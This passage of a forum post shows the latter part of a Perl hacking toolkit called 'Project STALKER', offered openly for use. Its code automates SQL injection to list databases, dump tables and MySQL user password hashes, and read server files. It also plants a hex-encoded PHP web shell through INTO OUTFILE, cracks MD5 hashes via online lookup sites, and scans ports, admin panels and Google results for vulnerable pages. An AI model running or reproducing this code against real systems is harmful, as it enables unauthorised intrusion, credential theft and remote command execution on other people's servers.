  552. savefile($save.".txt","[Column $real] : $1");
  553. $real++;
  554. }}
  555. print "\n";
  556. } else {
  557. print "\n[-] information_schema = ERROR\n";
  558. }}
  559.  
  560. sub schemadb {
  561. my ($page,$bypass,$save) = @_;
  562. my $page1 = $page;
  563. savefile($save.".txt","\n");
  564. print "\n\n[+] Searching DBS\n\n";
  565. ($pass1,$pass2) = &bypass($bypass);
  566. $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  567. $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
  568. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  569. my $limita = $1;
  570. print "[+] Databases Length : $limita\n\n";
  571. savefile($save.".txt","[+] Databases Length : $limita\n");
  572. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  573. $real = "1";
  574. for my $limit(0..$limita) {
  575. $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
  576. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  577. my $control = $1;
  578. if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
  579. print "[Database $real Found] $control\n";
  580. savefile($save.".txt","[Database $real Found] : $control");
  581. $real++;
  582. }
  583. }
  584. }
  585. print "\n";
  586. } else {
  587. print "[-] information_schema = ERROR\n";
  588. }
  589. }
  590.  
  591. sub schematablesdb {
  592. my $page = $_[0];
  593. my $db = $_[2];
  594. my $page1 = $page;
  595. savefile($_[3].".txt","\n");
  596. print "\n\n[+] Searching tables with DB $db\n\n";
  597. ($pass1,$pass2) = &bypass($_[1]);
  598. savefile($_[3].".txt","[DB] : $db");
  599. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  600. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  601. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
  602. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  603. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
  604. print "[+] Tables Length :  $1\n\n";
  605. savefile($_[3].".txt","[+] Tables Length :  $1\n");
  606. my $limit = $1;
  607. $real = "1";
  608. for my $lim(0..$limit) {
  609. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
  610. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  611. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  612. my $table = $1;
  613. chomp $table;
  614. savefile($_[3].".txt","[Table $real Found : $table ]");
  615. print "[Table $real Found : $table ]\n";
  616. $real++;
  617. }}
  618. print "\n";	
  619. } else {
  620. print "\n[-] information_schema = ERROR\n";
  621. }}
  622.  
  623. sub schemacolumnsdb {
  624. my ($page,$bypass,$db,$table,$save) = @_;
  625. my $page3 = $page;
  626. my $page4 = $page;
  627. print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  628. savefile($save.".txt","\n");
  629. ($pass1,$pass2) = &bypass($_[1]);
  630. savefile($save.".txt","\n[DB] : $db");
  631. savefile($save.".txt","[Table] : $table");
  632. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  633. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
  634. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  635. print "\n[Columns length : $1 ]\n\n";
  636. savefile($save.".txt","[Columns length : $1 ]\n");
  637. my $si = $1;
  638. chomp $si;
  639. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  640. $real = "1";
  641. for my $limit2(0..$si) {
  642. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  643. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
  644. print "[Column $real] : $1\n";
  645. savefile($save.".txt","[Column $real] : $1");
  646. $real++;
  647. }
  648. }
  649. } else {
  650. print "\n[-] information_schema = ERROR\n";
  651. }
  652. print "\n";
  653. }
  654.  
  655. sub mysqluser {
  656. my ($page,$bypass,$save) = @_;
  657. my $cop = $page;
  658. my $cop1 = $page;
  659. savefile($save.".txt","\n");
  660. print "\n\n[+] Finding mysql.users\n";
  661. ($pass1,$pass2) = &bypass($bypass);
  662. $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  663. $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
  664. if ($code=~/RATSXPDOWN/ig){
  665. $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  666. $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
  667. if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  668. print "\n[+] Users Found : $1\n\n";
  669. savefile($save.".txt","\n[+] Users mysql Found : $1\n");
  670. for my $limit(0..$1) { 
  671. $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  672. $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
  673. if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
  674. print "[Host] : $1 [User] : $2 [Password] : $3\n";
  675. savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
  676. } else {
  677. print "\n";
  678. &reload;
  679. }
  680. }
  681. }
  682. } else {
  683. print "\n[-] mysql.user = ERROR\n\n";
  684. }
  685. }
  686.  
  687. sub dump {
  688. savefile($_[5].".txt","\n");
  689. my $page = $_[0];
  690. ($pass1,$pass2) = &bypass($_[4]);
  691. if ($page=~/(.*)hackman(.*)/){ 
  692. my $start = $1;
  693. my $end = $2;
  694. print "\n\n[+] Extracting values...\n\n";
  695. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  696. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  697. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  698. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  699. $tota = $1; 
  700. print "[+] Table : $_[3]\n";
  701. print "[+] Length of the rows : $tota\n\n";
  702. print "[$_[1]] [$_[2]]\n\n";
  703. savefile($_[5].".txt","[Table] : $_[3]");
  704. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  705. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  706. for my $limit(0..$tota) { 
  707. chomp $limit;
  708. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  709. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  710. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  711. print "[$_[1]] : $1   [$_[2]] : $2\n"; 
  712. } else {
  713. print "\n\n[+] Extracting Finish\n\n"; 
  714. last;
  715. &reload;
  716. }
  717. }
  718. } else {
  719. print "[-] Not Found any DATA\n\n";
  720. }}}
  721.  
  722.  
  723. sub loadfile {
  724. savefile($_[2].".txt","\n");
  725. ($pass1,$pass2) = &bypass($_[1]);
  726. if ($_[0] =~/(.*)hackman(.*)/g) {
  727. my $start = $1; my $end = $2;
  728. print "\n\n[+] File to read : ";
  729. chomp (my $file = <stdin>);
  730. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  731. my $code = toma($start.$concat.$end.$pass2);
  732. chomp $code;
  733. if ($code=~/k0bra(.*)k0bra/s) {
  734. print "[File Found] : $file\n";
  735. print "\n[Source Start]\n\n";
  736. print $1;
  737. print "\n\n[Source End]\n\n";
  738. savefile($_[2].".txt","[File Found] : $file");
  739. savefile($_[2].".txt","\n[Source Start]\n");
  740. savefile($_[2].".txt","$1");
  741. savefile($_[2].".txt","\n[Source End]\n");
  742. }}
  743. &reload;
  744. }
  745.  
  746.  
  747. sub into {
  748. print "\n\n[Status] : Injecting a SQLI for create a shell\n\n";
  749. my ($page,$bypass,$dir,$save) = @_;
  750. savefile($save.".txt","\n");
  751. print "\n";
  752. ($pass1,$pass2) = &bypass($bypass);
  753. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  754. if ($path=~/\/(.*)$/) { 	
  755. my $path1 = $1;
  756. my $path2 = $path1;
  757. $path2 =~s/$1//;
  758. $dir =~s/$path1//ig;
  759. $shell = $dir."/"."shell.php";
  760. if ($page =~/(.*)hackman(.*)/ig) {
  761. my  ($start,$end) = ($1,$2);
  762. $code = toma($start."0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e".$end.$pass1."into".$pass1."outfile".$pass1."'".$shell."'".$pass2);
  763. $code1 = toma("http://".$auth."/".$path2."/"."shell.php");
  764. if ($code1=~/Mini Shell By Doddy/ig) {
  765. print "[shell up] : http://".$auth."/".$path2."/"."shell.php\a";
  766. savefile($save.".txt","[shell up] : http://".$auth."/".$path2."/"."shell.php");
  767. } else {
  768. print "[shell] : Not Found\n";
  769. }
  770. }
  771. }
  772. print "\n\n";
  773. &reload;
  774. }
  775.  
  776.  
  777. sub bypass {
  778. if ($_[0] eq "/*") { return ("/**/","/*"); }
  779. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  780. else {return ("+","--");}}
  781.  
  782. sub ascii {
  783. return join ',',unpack "U*",$_[0]; 
  784. }
  785.  
  786. sub base {
  787. $re = encode_base64($_[0]);
  788. chomp $re;
  789. return $re;
  790. }
  791.  
  792. sub base_de {
  793. $re = decode_base64($_[0]);
  794. chomp $re;
  795. return $re;
  796. }
  797.  
  798.  
  799. sub download {
  800. if ($nave->mirror($_[0],$_[1])) {
  801. if (-f $_[1]) {
  802. return true;
  803. }}}
  804.  
  805.  
  806. sub hex_en {
  807. my $string = $_[0];
  808. $hex = '0x';
  809. for (split //,$string) {
  810. $hex .= sprintf "%x", ord;
  811. }
  812. return $hex;
  813. }
  814.  
  815. sub hex_de {
  816. my $text = shift;
  817. $text =~ s/^0x//;
  818. $encode = join q[], map { chr hex } $text =~ /../g;
  819. return $encode;
  820. }
  821.  
  822. sub ascii_de {
  823. my $text = shift;
  824. $text = join q[], map { chr } split q[,],$text;
  825. return $text;
  826. }
  827.  
  828. sub getprocess {
  829.  
  830. my %procesos;
  831.  
  832. my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  833. my $dos = $uno->ConnectServer("","root\\cimv2");
  834.  
  835. foreach my $pro (in $dos->InstancesOf("Win32_Process")){
  836. $procesos{$pro->{Caption}} = $pro->{ProcessId};
  837. }
  838. return %procesos;
  839. }
  840.  
  841. sub killprocess {
  842.  
  843. my ($numb,$pid) = @_;
  844.  
  845. if (Win32::Process::KillProcess($pid,$numb)) {
  846. return true;
  847. } else {
  848. return false;
  849. }
  850. }
  851.  
  852. sub getip {
  853. my $get = gethostbyname($_[0]);
  854. return inet_ntoa($get);
  855. }
  856.  
  857. sub crackit {
  858.  
  859. my $secret = $_[0];
  860.  
  861. print "[+] Cracking $_[0]\n\n";
  862.  
  863. my %hash = (
  864.  
  865. 'http://passcracking.com/' => {
  866. 'tipo'  => 'post',
  867. 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
  868. 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  869. },   
  870. 'http://md5.hashcracking.com/search.php?md5=' =>  { 
  871. 'tipo' => 'get',
  872. 'regex' => 'Cleartext of $_[0] is (.*)',
  873. },
  874. 'http://www.bigtrapeze.com/md5/' =>  { 
  875. 'tipo' => 'post',
  876. 'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
  877. 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  878. },
  879. 'http://opencrack.hashkiller.com/' =>  { 
  880. 'tipo' => 'post',
  881. 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  882. 'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  883. },
  884. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  { 
  885. 'tipo' => 'post',
  886. 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
  887. 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  888. },
  889. 'http://victorov.su/md5/?md5e=&md5d=' =>  { 
  890. 'tipo' => 'get',
  891. 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  892. }
  893. );
  894.  
  895. for my $data(keys %hash) {
  896.  
  897. if ($hash{$data}{tipo} eq "get") {
  898. $code = toma($data.$_[0]);
  899. if ($code=~/$hash{$data}{regex}/ig) {
  900. print "\n[+] Decoded : ".$1."\n\n";
  901. saveyes("logs/pass-found.txt",$secret.":".$1);
  902. }
  903. } else {
  904. $code = tomar($data,$hash{$data}{variables});
  905. if ($code=~/$hash{$data}{regex}/ig) {
  906. saveyes("logs/pass-found.txt",$secret.":".$1);
  907. }
  908. }
  909. }
  910. print "\n[+] Finish\n"; 
  911. }
  912.  
  913. sub ftp {
  914.  
  915. my ($ftp,$user,$pass) = @_;
  916.  
  917. if (my $socket = Net::FTP->new($ftp)) {
  918. if ($socket->login($user,$pass)) {
  919.  
  920. print "\n[+] Enter of the server FTP\n\n";
  921.  
  922. menu:
  923.  
  924. print "\n\nftp>";
  925. chomp (my $cmd = <stdin>);
  926. print "\n\n";
  927.  
  928. if ($cmd=~/help/) {
  929. print q(
  930.  
  931. help : show information
  932. cd : change directory <dir>
  933. dir : list a directory 
  934. mdkdir : create a directory <dir>
  935. rmdir : delete a directory <dir>
  936. pwd : directory  
  937. del : delete a file <file>
  938. rename : change name of the a file <file1> <file2>
  939. size : size of the a file <file>
  940. put : upload a file <file>
  941. get : download a file <file>
  942. cdup : change dir <dir>
  943. exit : ??
  944.  
  945.  
  946. );
  947. }
  948.  
  949. if ($cmd=~/dir/ig) {
  950. if (my @files = $socket->dir()) {
  951. for(@files) {
  952. print "[+] ".$_."\n";
  953. }
  954. } else {
  955. print "\n\n[-] Error\n\n";
  956. }
  957. }
  958.  
  959. if ($cmd=~/pwd/ig) {
  960. print "[+] Path : ".$socket->pwd()."\n";
  961. }
  962.  
  963. if ($cmd=~/cd (.*)/ig) {
  964. if ($socket->cwd($1)) {
  965. print "[+] Directory changed\n";
  966. } else {
  967. print "\n\n[-] Error\n\n";
  968. }
  969. }
  970.  
  971. if ($cmd=~/cdup/ig) {
  972. if (my $dir = $socket->cdup()) {
  973. print "\n\n[+] Directory changed\n\n";
  974. } else {
  975. print "\n\n[-] Error\n\n";
  976. }
  977. }
  978.  
  979. if ($cmd=~/del (.*)/ig) {
  980. if ($socket->delete($1)) {
  981. print "[+] File deleted\n";
  982. } else {
  983. print "\n\n[-] Error\n\n";
  984. }
  985. }
  986.  
  987. if ($cmd=~/rename (.*) (.*)/ig) {
  988. if ($socket->rename($1,$2)) {
  989. print "[+] File Updated\n";
  990. } else {
  991. print "\n\n[-] Error\n\n";
  992. }
  993. }
  994.  
  995. if ($cmd=~/mkdir (.*)/ig) {
  996. if ($socket->mkdir($1)) {
  997. print "\n\n[+] Directory created\n";
  998. } else {
  999. print "\n\n[-] Error\n\n";
  1000. }
  1001. }
  1002.  
  1003. if ($cmd=~/rmdir (.*)/ig) {
  1004. if ($socket->rmdir($1)) {
  1005. print "\n\n[+] Directory deleted\n"; 
  1006. } else {
  1007. print "\n\n[-] Error\n\n";
  1008. }
  1009. }
  1010.  
  1011. if ($cmd=~/exit/ig) {
  1012. next;
  1013. }
  1014.  
  1015. if ($cmd=~/get (.*) (.*)/ig) {
  1016. print "\n\n[+] Downloading file\n\n";
  1017. if ($socket->get($1,$2)) {
  1018. print "[+] Download completed";
  1019. } else {
  1020. print "\n\n[-] Error\n\n";
  1021. }
  1022. }
  1023.  
  1024. if ($cmd=~/put (.*) (.*)/ig) {
  1025. print "\n\n[+] Uploading file\n\n";
  1026. if ($socket->put($1,$2)) {
  1027. print "[+] Upload completed";
  1028. } else {
  1029. print "\n\n[-] Error\n\n";
  1030. }
  1031. }
  1032.  
  1033. if ($cmd=~/quit/) {
  1034. next;
  1035. }
  1036.  
  1037. goto menu;
  1038.  
  1039. } else {
  1040. print "\n[-] Failed the login\n\n";
  1041. }
  1042.  
  1043. } else {
  1044. print "\n\n[-] Error\n\n";
  1045. }
  1046.  
  1047.  
  1048.  
  1049. }
  1050.  
  1051.  
  1052. sub scanpaths {
  1053.  
  1054. my $urla = $_[0];
  1055.  
  1056. print "\n[+] Find paths in $urla\n\n\n";
  1057. my @urls = repes(get_links(toma($urla)));
  1058. for $url(@urls) {
  1059. my $web = $url;
  1060. my ($scheme, $auth, $path, $query, $frag)  = uri_split($url);
  1061. if ($_[0] =~/$auth/ or $auth eq "") {
  1062. if ($path=~/(.*)\/(.*)\.(.*)$/) {
  1063. my $borrar = $2.".".$3;
  1064. if ($web=~/(.*)$borrar/) {
  1065. my $co = $1;
  1066. unless ($co=~/$auth/) {
  1067. $co = $urla.$co;
  1068. }
  1069. $code = toma($co);
  1070. if ($code=~/Index Of/ig) {
  1071. print "[Link] : ".$co."\n";
  1072. saveyes("logs/paths-found.txt",$co);
  1073. }}}}}}
  1074.  
  1075.  
  1076. sub scanport {
  1077.  
  1078. my %ports = ("21"=>"ftp",
  1079. "22"=>"ssh",
  1080. "25"=>"smtp",
  1081. "80"=>"http",
  1082. "110"=>"pop3",
  1083. "3306"=>"mysql"
  1084. );
  1085.  
  1086.  
  1087. print "[+] Scanning $_[0]\n\n\n";
  1088.  
  1089. for my $port(keys %ports) {
  1090.  
  1091. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  1092. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  1093. }
  1094. }
  1095. print "\n\n[+] Finish\n";
  1096. }
  1097.  
  1098.  
  1099. sub scanpanel {
  1100. print "[+] Scanning $_[0]\n\n\n";
  1101. for $path(@panels) {
  1102. $code = tomax($_[0]."/".$path);
  1103. if ($code->is_success) {
  1104. print "[Link] : ".$_[0]."/".$path."\n";
  1105. saveyes("logs/panel-logs.txt",$_[0]."/".$path);
  1106. }
  1107. }
  1108. print "\n\n[+] Finish\n";
  1109. }
  1110.  
  1111. sub google {
  1112. my($a,$b) = @_;
  1113. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  1114. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  1115. my @links = get_links($code);
  1116. for my $l(@links) {
  1117. if ($l =~/webcache.googleusercontent.com/) {
  1118. push(@url,$l);
  1119. }
  1120. }
  1121. }
  1122.  
  1123. for(@url) {
  1124. if ($_ =~/cache:(.*?):(.*?)\+/) {
  1125. push(@founds,$2);
  1126. }
  1127. }
  1128.  
  1129. my @founds = repes(@founds);
  1130.  
  1131. return @founds; 
  1132. }
  1133.  
  1134.  
  1135. sub sql {
  1136.  
  1137. my ($pass1,$pass2) = ("+","--");
  1138. my $page = shift;
  1139. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  1140. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  1141. print "[+] SQLI : $page\a\n";
  1142. saveyes("logs/sql-logs.txt",$page);
  1143. }}
  1144.  
  1145. sub get_links {
  1146.  
  1147. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  1148. return @links;
  1149.  
  1150. sub agarrar {
  1151. my ($a,%b) = @_;
  1152. push(@links,values %b); 
  1153. }
  1154. }
  1155.  
  1156. sub repes {
  1157. foreach $test(@_) {
  1158. push @limpio,$test unless $repe{$test}++;
  1159. }
  1160. return @limpio;
  1161. }
  1162.  
  1163. sub head {
  1164. cprint "\x0311"; #13
  1165. print "\n\n-- == Project STALKER == --\n\n"; 
  1166. cprint "\x030";
  1167. }
  1168.  
  1169. sub copyright {
  1170. cprint "\x0311"; #13
  1171. print"\n\n(C) Doddy Hackman 2011\n\n";
  1172. cprint "\x030";
  1173. }
  1174.  
  1175. sub toma {
  1176. return $nave->get($_[0])->content;
  1177. }
  1178.  
  1179. sub tomax {
  1180. return $nave->get($_[0]);
  1181. }
  1182.  
  1183. sub tomar {
  1184. my ($web,$var) = @_;
  1185. return $nave->post($web,[%{$var}])->content;
  1186. }
  1187.  
  1188.  
  1189. sub conectar {
  1190.  
  1191. my $sockex = new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $_[1],
  1192. Proto => "tcp",Timeout  => 5);
  1193.  
  1194. print $sockex $_[2]."\r\n";
  1195. $sockex->read($re,5000);
  1196. $sockex->close;
  1197. return $re."\r\n";
  1198. }
  1199.  
  1200.  
  1201. sub enter {
  1202.  
  1203. my ($host,$user,$pass) = @_;
  1204.  
  1205. print "[+] Connecting to the server\n";
  1206.  
  1207. $info = "dbi:mysql::".$host.":3306";
  1208. if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {
  1209.  
  1210. print "\n[+] Enter in the database";
  1211.  
  1212. while(1) {
  1213. print "\n\n\n[+] Query : ";
  1214. chomp(my $ac = <stdin>);
  1215.  
  1216. if ($ac eq "exit") {
  1217. $enter->disconnect;
  1218. print "\n\n[+] Closing connection\n\n";
  1219. last;
  1220. }
  1221.  
  1222. $re = $enter->prepare($ac);
  1223. $re->execute();
  1224. my $total = $re->rows();
  1225.  
  1226. my @columnas = @{$re->{NAME}};
  1227.  
  1228. if ($total eq "-1") {
  1229. print "\n\n[-] Query Error\n";
  1230. next;
  1231. } else {
  1232. print "\n\n[+] Result of the query\n";
  1233. if ($total eq 0) {
  1234. print "\n\n[+] Not rows returned\n\n";
  1235. } else {
  1236. print "\n\n[+] Rows returned : ".$total."\n\n\n";
  1237. for(@columnas) {
  1238. print $_."\t\t";
  1239. }
  1240. print "\n\n";
  1241. while (@row = $re->fetchrow_array) {
  1242. for(@row) {
  1243. print $_."\t\t";
  1244. }
  1245. print "\n";
  1246. }}}}
  1247. } else {
  1248. print "\n[-] Error connecting\n";
  1249. }}
  1250.  
  1251. sub encode {
  1252. my $string = $_[0];
  1253. $hex = '0x';
  1254. for (split //,$string) {
  1255. $hex .= sprintf "%x", ord;
  1256. }
  1257. return $hex;
  1258. }
  1259.  
  1260. sub saveyes {
  1261. open (SAVE,">>".$_[0]);
  1262. print SAVE $_[1]."\n";
  1263. close SAVE; 
  1264. }
  1265.  
  1266. sub savefile {
  1267. open (SAVE,">>logs/webs/".$_[0]);
  1268. print SAVE $_[1]."\n";
  1269. close SAVE; 
  1270. }
  1271.  
  1272. sub coleccionar {
  1273. opendir DIR,$_[0];
  1274. my @archivos = readdir DIR;
  1275. close DIR;
  1276. return @archivos;
  1277. }
  1278.  
  1279. sub helpme {
  1280.  
  1281. cprint "\x0310"; #13
  1282. print qq(
  1283.  
  1284. Commands : 
  1285.  
  1286.  
  1287. getip <host>
  1288. getlink <page>
  1289. getprocess 
  1290. killprocess <name process> <pid process>
  1291. conec <host> <port> <command>  
  1292. allow <host>
  1293. paths <page>
  1294. encodehex <text>
  1295. decodehex <text>
  1296. encodeascii <text>
  1297. decodeascii <text>
  1298. encodebase <text>
  1299. decodebase <text>
  1300. scanport <host>
  1301. panel <page>
  1302. getpass <hash>
  1303. kobra <page>
  1304. ftp <host> <user> <pass>
  1305. mysql <host> <user> <pass>
  1306. navegator
  1307. scangoogle
  1308. help
  1309. exit
  1310. );
  1311. cprint "\x030";
  1312. }
  1313.  
  1314. #
  1315. #  The End ?
  1316. #
  1317.  
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Stalker By Doddy H
Scripting 		BigBear 2 3,119 Último mensaje 19 Octubre 2011, 22:47 pm
por BigBear
[Perl] Project STALKER 0.7
Scripting 		BigBear 0 1,734 Último mensaje 19 Enero 2012, 20:36 pm
por BigBear
[Perl Tk] Project Arsenal X
Scripting 		BigBear 0 1,842 Último mensaje 21 Julio 2012, 17:23 pm
por BigBear
[Perl] Project ParanoicScan 1.0
Scripting 		BigBear 0 1,660 Último mensaje 4 Agosto 2012, 16:02 pm
por BigBear
[Perl] Project STALKER 1.0
Scripting 		BigBear 0 1,639 Último mensaje 25 Agosto 2012, 16:55 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines